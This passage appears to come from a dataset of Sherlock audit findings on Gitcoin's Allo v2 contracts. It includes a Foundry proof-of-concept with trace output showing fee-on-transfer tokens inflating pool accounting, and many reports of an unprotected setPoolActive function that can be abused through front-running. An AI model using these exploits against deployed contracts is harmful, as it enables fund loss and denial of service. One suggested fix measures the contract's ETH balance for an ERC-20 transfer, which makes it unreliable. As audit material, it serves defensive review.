AGPL-3.0-only\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\n// Interfaces\nimport {IAllo} from \"../../../contracts/core/interfaces/IAllo.sol\";\nimport {IStrategy} from \"../../../contracts/core/interfaces/IStrategy.sol\";\n// Core contracts\nimport {Allo} from \"../../../contracts/core/Allo.sol\";\nimport {Registry} from \"../../../contracts/core/Registry.sol\";\n// Internal Libraries\nimport {Errors} from \"../../../contracts/core/libraries/Errors.sol\";\nimport {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";\nimport {Native} from \"../../../contracts/core/libraries/Native.sol\";\n// Test libraries\nimport {AlloSetup} from \"../shared/AlloSetup.sol\";\nimport {RegistrySetupFull} from \"../shared/RegistrySetup.sol\";\nimport {TestStrategy} from \"../../utils/TestStrategy.sol\";\nimport {MockStrategy} from \"../../utils/MockStrategy.sol\";\nimport {MockERC20} from \"../../utils/MockERC20.sol\";\nimport {TransferFeeToken} from \"../../utils/TransferFeeToken.sol\";\n\ncontract MyTests is Test, AlloSetup, RegistrySetupFull, Native, Errors {\n event PoolCreated(\n uint256 indexed poolId,\n bytes32 indexed profileId,\n IStrategy strategy,\n address token,\n uint256 amount,\n Metadata metadata\n );\n event PoolMetadataUpdated(uint256 indexed poolId, Metadata metadata);\n event PoolFunded(uint256 indexed poolId, uint256 amount, uint256 fee);\n event BaseFeePaid(uint256 indexed poolId, uint256 amount);\n event TreasuryUpdated(address treasury);\n event PercentFeeUpdated(uint256 percentFee);\n event BaseFeeUpdated(uint256 baseFee);\n event RegistryUpdated(address registry);\n event StrategyApproved(address strategy);\n event StrategyRemoved(address strategy);\n\n error AlreadyInitialized();\n\n address public strategy;\n MockERC20 public token;\n\n uint256 mintAmount = 1000000 * 10 ** 18;\n\n Metadata public metadata = Metadata({protocol: 1, pointer: \"strategy pointer\"});\n string public name;\n uint256 public nonce;\n\n function setUp() public {\n __RegistrySetupFull();\n __AlloSetup(address(registry()));\n\n token = new MockERC20();\n token.mint(local(), mintAmount);\n token.mint(allo_owner(), mintAmount);\n token.mint(pool_admin(), mintAmount);\n token.approve(address(allo()), mintAmount);\n\n vm.prank(pool_admin());\n token.approve(address(allo()), mintAmount);\n\n strategy = address(new MockStrategy(address(allo())));\n\n vm.startPrank(allo_owner());\n allo().transferOwnership(local());\n vm.stopPrank();\n }\n\n\n\nfunction test_createPoolWith_feeToken() public {\n\n uint256 baseFee = 1e17;\n uint256 newFee = 1e17;\n \n \n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(newFee);\n vm.deal(address(pool_admin()), 1e18);\n \n vm.startPrank(pool_admin());\n // create a new tranferfee token with 100 fee on transfer and 1_000_000 totalSupply\n TransferFeeToken feeToken = new TransferFeeToken(1000000 * 1e18 , 100);\n assertEq(feeToken.balanceOf(pool_admin()), 1000000 *1e18 );\n // approve allo to spend the feetransfer token\n feeToken.approve(address(allo()), 1000000);\n \n // create a new pool with feetransfer token and funds it with 10000 feetoken\n // good path is baseFee get sent to treasury (1e17 native)\n // percentfee get sent to treasury (10% of 10000 = 1000)\n // and the amount after percent fee get sent to the pool strategy (9000)\n // but let's see how the 100 fee on token transfer will affect all this and manipulate the poolAmount\n allo().createPoolWithCustomStrategy{value: 1e18}(\n poolProfile_id(), strategy, \"0x\", address(feeToken), 10000, metadata, pool_managers()\n );\n }\n}\n```\n\nNow run the test : forge test --match-path test/foundry/core/MyTests.t.sol -vvvvv\n\nThis test pass , and the output we are interest in is the following:\n\n\n ā”œā”€ [0] allo_treasury::fallback{value: 100000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit BaseFeePaid(poolId: 1, amount: 100000000000000000 [1e17])\n ā”‚ ā”œā”€ [51265] TransferFeeToken::transferFrom(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], 1000)\n ā”‚ ā”‚ ā”œā”€ emit Transfer(src: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], dst: allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], wad: 900)\n ā”‚ ā”‚ ā”œā”€ emit Transfer(src: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], dst: 0x0000000000000000000000000000000000000000, wad: 100)\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ [29365] TransferFeeToken::transferFrom(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 9000)\n ā”‚ ā”‚ ā”œā”€ emit Transfer(src: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], dst: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], wad: 8900)\n ā”‚ ā”‚ ā”œā”€ emit Transfer(src: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], dst: 0x0000000000000000000000000000000000000000, wad: 100)\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ [22607] MockStrategy::increasePoolAmount(9000)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit PoolFunded(poolId: 1, amount: 9000, fee: 1000)\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], token: TransferFeeToken: [0x26CEA884b83572cbb5ac873bc73542F5C093b93e], amount: 10000 [1e4], metadata: (1, strategy pointer))\n ā”‚ ā””ā”€ ā† 1\n ā””ā”€ ā† ()\n\n\nWe can see that the base fee ( 1e17 in ETH ) have been correctly paid.\ninstead of the treasury receiving a fee of 1000 feeToken , it received 900 feeToken ( This is because 100 transfer fee have been charged by feeToken contract and sent to 0 address ).\nInstead of the pool strategy receiving amount after fee (9000 fee tokens), it receive 8900 fee token as 100 was charged by feeToken contract. The pool funds is increased by 9000 fee token instead of the correct 8900 fee token.\nThis situation lead to poolAmount being incorrect and because of that some recipients will not receive their allocated funds when a pool manager calls ```strategy.distribute()``` to distribute allocated funds.\nWhen ```strategy.distribute()``` is called for example in RFPSimpleStrategy it deduct amount for the milestone from total pool Funds tracked by the state variable ```poolAmount``` and send the deducted amount to recipient, a recipient will not get his allocated funds \n\n## Impact\n\nLost of funds for the recipient\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/core/Allo.sol#L144-L161\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L415-L485\n\nhttps://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/core/Allo.sol#L502-L520\n\nhttps://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\n\nVsCode\nManual Review\n\n## Recommendation\n\nInstead of increasing the pool Amount by amount sent into the pool, account the total pool amount with the pool strategy token balance.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/030.md"}} +{"title":"`fundPool` does not work with fee-on-transfer token","severity":"medium","body":"Fancy Khaki Perch\n\nmedium\n\n# `fundPool` does not work with fee-on-transfer token\n`fundPool` does not work with fee-on-transfer token\n## Vulnerability Detail\nIn `_fundPool`, the parameter for `increasePoolAmount` is directly the amount used in the `transferFrom` call.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n```solidity\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n```\n\nWhen `_token` is a fee-on-transfer token, the actual amount transferred to `_strategy` will be less than `amountAfterFee`. Therefore, the current approach could lead to a recorded balance that is greater than the actual balance.\n## Impact\n`fundPool` does not work with fee-on-transfer token\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n## Tool used\n\nManual Review\n\n## Recommendation\nUse the change in `_token` balance as the parameter for `increasePoolAmount`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/019-best.md"}} +{"title":"Maintain before balance and after balance while dealing fee-on transfer tokens","severity":"medium","body":"Trendy Glossy Toad\n\nmedium\n\n# Maintain before balance and after balance while dealing fee-on transfer tokens\n[_fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502) function deducts the fee and transfer the amount to the distribution strategy but if user try to use tokens which have on-fee tokens means it deducts fee on each transfer and transferFrom then amount receives less than mentioned .\n\n## Vulnerability Detail\nIf Alice try to fundPool using deflationary/transfer-on fee tokens call [_fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502) function with amount 100 but it deducts some percentage on each transfer and transferFrom Allo.sol contract receives only 99 tokens. Even amount fee which is deducted and [transferAmountFrom()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513) by user to Allo.sol contract also received less than feeAmount .\n\n## Impact\nA transfer-on-fee token or a deflationary/rebasing token, causing the received amount to be less than the accounted amount. For instance, a deflationary tokens might charge a certain fee for every transfer() or transferFrom().\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L512C1-L517C54\n\n## Tool used\nManual Review\n\n## Recommendation\nMaintain before and after balance while dealing with transfer-on fee tokens..\nBefore increasePoolAmount() maintain before and after amount in-order accounting amount received after fee-on transfer.\ncode can be changed like below \n```solidity\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\nuint amountBefore = address(this).balance;//@audit changed here\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\nuint amountAfter = address(this).balance;//@audit changed here\nuint ActualAmountRecevied = amountAfter - amountBefore;//@audit changed here\n _strategy.increasePoolAmount(ActualAmountRecevied);//@audit changed here\n```\nPlease look into `//@audit changed here` comment above code snippet .\n\n## Reference \nhttps://medium.com/1inch-network/balancer-hack-2020-a8f7131c980e","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/012.md"}} +{"title":"RFPSimpleStrategy: `setPoolActive` is not protected","severity":"major","body":"Micro Heather Rabbit\n\nmedium\n\n# RFPSimpleStrategy: `setPoolActive` is not protected\n\nAny user can call the `setPoolActive` and change `poolActive` flag but should not be allowed. So any user can call the `setPoolActive` and change `poolActive` flag.\n\n## Vulnerability Detail\n\nThe `setPoolActive` function is not protected but 'msg.sender' must be a pool manager to close the pool.\n\n\n## Impact\n\nAny user can call the `setPoolActive` and change `poolActive` flag. This can temporary broke the contract functionality.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a corresponding modifier.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/946.md"}} +{"title":"setPoolActive() is missing access control in RFPSimpleStrategy.sol","severity":"major","body":"Brilliant Carmine Porpoise\n\nmedium\n\n# setPoolActive() is missing access control in RFPSimpleStrategy.sol\n\nThe `setPoolActive()` function in RFPSimpleStrategy.sol is missing access control and can be called by anyone\n\n## Vulnerability Detail\n\nThe `RFPSimpleStrategy` which is also used by other RFP Strategies contains a function `setPoolActive()` which is used to set the status of the pool. The problem is that this function doesnt have access control so anyone can call this function and set the status to the status they want to. \n\n## Impact\n\nAnyone can call this function so when the pool is supposed to be active like when registering recipients the attacker can set the pool to be inactive and calls to `registerRecipient()` will fail because of the `onlyActivePool` modifier. \n\nThe attacker can then make the pool active when its supposed to be inactive and the pool manager can fail to distibute the funds\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n```solidity\n\n216: /// @notice Toggle the status between active and inactive.\n217: /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n218: /// @param _flag The flag to set the pool to active or inactive\n219: function setPoolActive(bool _flag) external {\n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n\n```\n\nAs you can see the comment above this function says that the msg.sender must be a pool manager but the function is missing access control and `_setPoolActive()` also doesnt have any access control.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `onlyPoolManager(msg.sender)` modifier so only the manager is able to set the status","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/923.md"}} +{"title":"The pool's active status can be updated by anyone.","severity":"major","body":"Little Frost Panda\n\nhigh\n\n# The pool's active status can be updated by anyone.\nIn RFPSimpleStrategy, anyone can modify the active status of a pool, rendering the strategy vulnerable.\n\n## Vulnerability Detail\n\nThis makes the strategy unstable and unreliable, with a possibility of being unable to access funds if random individuals change this flag. '_allocate' only works when the pool is active, while '_distribute' only works when the pool is inactive\n\n## Impact\n\nHigh\n\n## Code Snippet\n\nWe can see the vulnerability [here](\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219)\n\n```solidity\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the modifier `onlyPoolManager(msg.sender)` to make this only changeable by the owner of the contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/920.md"}} +{"title":"Anyone can toggle the status of a pool","severity":"major","body":"Late Plum Fly\n\nmedium\n\n# Anyone can toggle the status of a pool\n## Summary\n\nAnyone can toggle the status of a pool between active and inactive which is not intended design since `msg.sender` must be a pool manager to close the pool as stated in this [line](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217)\n\nThe analyzed smart contract functions, `setPoolActive` and `withdraw`, may contain vulnerabilities. The primary concern revolves around unrestricted access to the `setPoolActive` function, which can compromise the protocol's intended functionalities and behaviours.\n\n## Vulnerability Detail\n\nSee summary\n\nAdditionally, key to note that a few functions of the strategy either requires the pool to be active or inactive before they get executed which means that someone could actively grief the protocol by front-running calls that require the pool to be inactive with setting the pools active or vice versa\n\nTake the [withdrawal process](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301) as an example:\n\n```solidity\n /// @notice Withdraw funds from pool.\n /// @dev 'msg.sender' must be a pool manager to withdraw funds.\n /// @param _amount The amount to be withdrawn\nfunction withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n poolAmount -= _amount;\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n}\n```\n\nAs seen it requires that the pool to be inactive before any withdrawals are procesed from pool.\n\nNow take a look at [RFPSimpleStrategy.sol#L216-L222](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222)\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\nAs seen, though the comments above the function clearly states that only the pool manager should be able to set this flag, in code implementation no restrictions are applied and as such any one could access and in the case of withdrawals a user could just front-runs pool manager's attempt to withdraw with setting the pool active and the withdrawal reverts... obviously other windows could be explored on the lack of access control while setting the pool's activity flag, but the root cause is the lack of access control.\n\n## Impact\n\n- Contract does not follow important logic, since restrictions are not placed on crucial functions\n- The pool managers might be restricted from managing and withdrawing funds as intended.\n- In some cases malicious actors could brick the protocol by frontrunning calls, leading to fund lockup and disruption of intended functionalities.\n\n## Code Snippet\n[RFPSimpleStrategy.sol#L216-L222](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222)\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCorrectly follow docs and apply the required access control, i.e in this case prefix _\"onlyPoolManager(msg.sender)\"_ to the `setPoolActive()` function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/919.md"}} +{"title":"`RFPSimpleStrategy.setPoolActive()` has no access control","severity":"major","body":"Blunt Carmine Lynx\n\nmedium\n\n# `RFPSimpleStrategy.setPoolActive()` has no access control\n\nAnyone can call `RFPSimpleStrategy.setPoolActive()` and change the pool status.\n\n## Vulnerability Detail\n\nAs the @NatSpec says.\n\n> *@dev 'msg.sender' must be a pool manager to close the pool.*\n> \n\n#POC 1 \n\nFront-run the pool Manager and always set the pool as active so he never will be able to distribute the pool.\n\n#POC 2\n\nFront-run the pool Manager and always set the pool as inactive so he never will be able to allocate a user.\n\n#POC 3\n\nFront-run user and always set the pool as inactive so he never will be able to register a user.\n\n#POC 4\n\nFront-run the pool Manager and always set the pool as active so he never will be able to withdraw the pool funds.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd `onlyPoolManager` modifier to ensure that only the pool manager will be able to change the pool state.\n\n```diff\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/918.md"}} +{"title":"Missing Access Control in setPoolActive Function and its Internal Implementation","severity":"major","body":"Dancing Lemonade Stork\n\nhigh\n\n# Missing Access Control in setPoolActive Function and its Internal Implementation\n\nThe **setPoolActive** function, which allows toggling the status of a pool between active and inactive, lacks an appropriate access control modifier. This omission is also observed in its internal implementation, **_setPoolActive**.\n\n## Vulnerability Detail\n\nBoth the **setPoolActive** function and its internal counterpart **_setPoolActive** lack access control modifiers, allowing any external entity to change the pool's active status. Such a critical function, especially one related to toggling the active state of a pool, should have proper restrictions to prevent unauthorized modifications.\n\n## Impact\n\nWithout access control, malicious or unintended actors can exploit this vulnerability to toggle the pool's status, potentially disrupting normal operations, causing unexpected behaviors, or leading to a denial of service where users cannot interact with the pool as expected. This poses not only a functional risk but also undermines trust in the system.\n\n## Code Snippet\n\nRFPSimpleStrategy.sol\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C1-L222C6\n\nBaseStrategy.sol\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L272C1-L279C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplement an access control modifier such as **onlyPoolManager** (if only a designated pool manager should be able to change the status) or another appropriate modifier based on your system's design. Apply this modifier to **setPoolActive** function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/900.md"}} +{"title":"Anyone can toggle the pool status for `RFPSimpleStrategy`","severity":"major","body":"Dazzling Clay Blackbird\n\nhigh\n\n# Anyone can toggle the pool status for `RFPSimpleStrategy`\nOnly pool managers are allowed to update the pool status in `RFPSimpleStrategy`. However, there is no access control restriction on `setPoolActive`, so anyone can update the pool status. \n\n## Vulnerability Detail\n\nOnly pool managers should be able to update pool status, but the `onlyPoolManager` modifier is missing. Anyone can set the pool to active or inactive states. \n\n```solidity\n/// @notice Toggle the status between active and inactive.\n/// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n/// @param _flag The flag to set the pool to active or inactive\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\n## Impact\nA malicious user can interfere by setting the pool with incorrect statuses and DOS a pool manager who is trying to register recipients, allocate, distribute, and withdraw. \n\n## Code Snippet\n\n[setPoolActive implementation](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the `onlyPoolManager` modifier to restrict access:\n\n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/872.md"}} +{"title":"Lack of access control in setPoolActive function","severity":"major","body":"Shambolic Misty Dragon\n\nhigh\n\n# Lack of access control in setPoolActive function\nLack of access control in setPoolActive function\n\n## Vulnerability Detail\nAnyone can change a pool from active to inactive by calling the `setPoolActive` function in the `RFPSimpleStrategy` contract. However, it should be noted that in the comment above,` msg.sender` is expected to be the pool manager. Due to a lack of access control, anyone can modify the `poolActive` state to either true or false.\n\n## Impact\nUnwanted behavior for pool manager. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n```solidity\n function setPoolActive(bool _flag) external { //@audit-issue H: access control, see dev comment\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `onlyPoolManager(msg.sender)` modifier.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/858.md"}} +{"title":"Anyone can change the pool status of RFPSimpleStrategy","severity":"major","body":"Oblong Clay Kangaroo\n\nhigh\n\n# Anyone can change the pool status of RFPSimpleStrategy\nRFPSimpleStrategy's `setPoolActive` can be called by anyone, so you can close the pool arbitrarily.\n## Vulnerability Detail\n\nRFPSimpleStrategy's `setPoolActive` has no `onlyPoolManager`, so anyone can call it.\n\n```solidity\nfunction setPoolActive(bool _flag) external { \n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n## Impact\nMalicious user can prevent `_registerRecipient` and `_allocate`, which are not available when `poolActive` is `false`, or prevent `_distribute`, which is only available when `poolActive` is `true`.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the onlyPoolManager modifier to setPoolActive.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/830.md"}} +{"title":"Every one can change the flag of the pool","severity":"major","body":"Special Carmine Wren\n\nmedium\n\n# Every one can change the flag of the pool\n\neveryone can set if the pool is active and prevent other functions to be executed\n\n## Vulnerability Detail\n\na malicious user can set always a pool to be active and it will prevent funds from Allo being withdrawn\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C2-L222C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nset an appropriate modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/808.md"}} +{"title":"Anyone can be set the pool to active or inactive in RFPSimpleStrategy","severity":"major","body":"Decent Brunette Aphid\n\nhigh\n\n# Anyone can be set the pool to active or inactive in RFPSimpleStrategy\n\nEach strategy that the Allo protocol proposes for the distribution of the amount has a certain verification for the flow of adding those who receive and their allocation, and then their corresponding distribution, however, the condition that verifies this state can be activated/deactivated when it is not present in the correct state in the contract `RFPSimpleStrategy.sol`.\n\n## Vulnerability Detail\nIf you want to use `RFPSimpleStrategy.sol` to distribute your funds, there is a public function accessible to anyone that can break the correct functionality.\n\nIn the RFPSimpleStrategy strategy, when `__RFPSimpleStrategy_init()` is initialized, it is marked as pool active and says this is required for the strategy to work and distribute funds.\n\nThis condition will be necessary if you want to register a recipient or use the allocation function, when the allocation function is called successfully, this status changes to \"pool active\" -> \"pool deactivated\".\n\nThis means that distribution or withdrawal funds are available to the manager, because this status is checked for the modifier when it tries to call these functions.\n\nThe problem is: there is no restriction for change this status manually. \n\nIn the contract exist a function for set this condition was called `setPoolActive()`:\n\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nThen this function calls an internal function in the `BaseStrategy.sol` contract:\n\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\nAs you can see, anyone can call this function and change the behavior when it is not correct. If false, the pool is not active, if true, the pool can be active. \n\nThat is, at any time, this can prevent the manager from accessing these functions if they are in the wrong state.\n\nTherefore, any malicious actor can use this feature and set any status for the pool, it can prevent them from attacking the recipients and their allocate. In addition to preventing the contract from distributing or withdrawing funds.\n\n\n## Impact\n\nIt impacts all the core functions of the protocol, if the pool is disabled when it shouldn't, the protocol cannot add the recipients by calling `registerRecipient()` or allocate the funds with `allocate()`, on the other hand, If the pool is active when it should not, the contract **funds cannot be distributed or withdrawn**.\n\nA malicious actor can alter the correct functionality of every function of any clone of every project that has been deployed using this strategy.\n\nIn the case of the administrator, he can withdraw the fund even when the group receives the funds and the pool is not deactivated, he can change it manually.\n\nIf the function has the `onlyPoolManager` modifier implemented correctly, the manager has access to the same problem explained, it is known that the manageris trusted but he has restrictions on his operation, it must be ensured that the manager manages the pools correctly and they cannot do something that they do not they can do.\n\nHe could withdraw the funds even when it has been recorded who will receives and that the funds were allocated correctly. This shouldn't happen.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`setPoolActive()` should be active only for the pool manager as the code documentation says, but if the protocol wants to guarantee the correct flow, this function can be marked as internal. Since each function updates the state correctly.\n\nThis way, only the manager can \"distribute\" when the assignment is made and not before.\n\nIf you want to add an \"emergency\" `withdraw()` function for this strategy, add the necessary conditions (i.e DonationVotingMerkleDistributionBaseStrategy.sol contract in the withdraw() function) so that they are met in the correct situation and not when the contract may have recipients and the funds have been allocated.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/799.md"}} +{"title":"Unrestricted setPoolActive Function","severity":"major","body":"Fierce Pearl Falcon\n\nmedium\n\n# Unrestricted setPoolActive Function\n\nThe `setPoolActive` function is missing essential access controls, permitting unrestricted public access for toggling the pool's active status.\n\n## Vulnerability Detail\n\nThe function's Natspec comments indicate that only the `pool manager` should be able to call `setPoolActive`. However, this requirement isn't codified, enabling anyone to toggle the pool between active and inactive states.\n\n function setPoolActive(bool _flag) external {\n 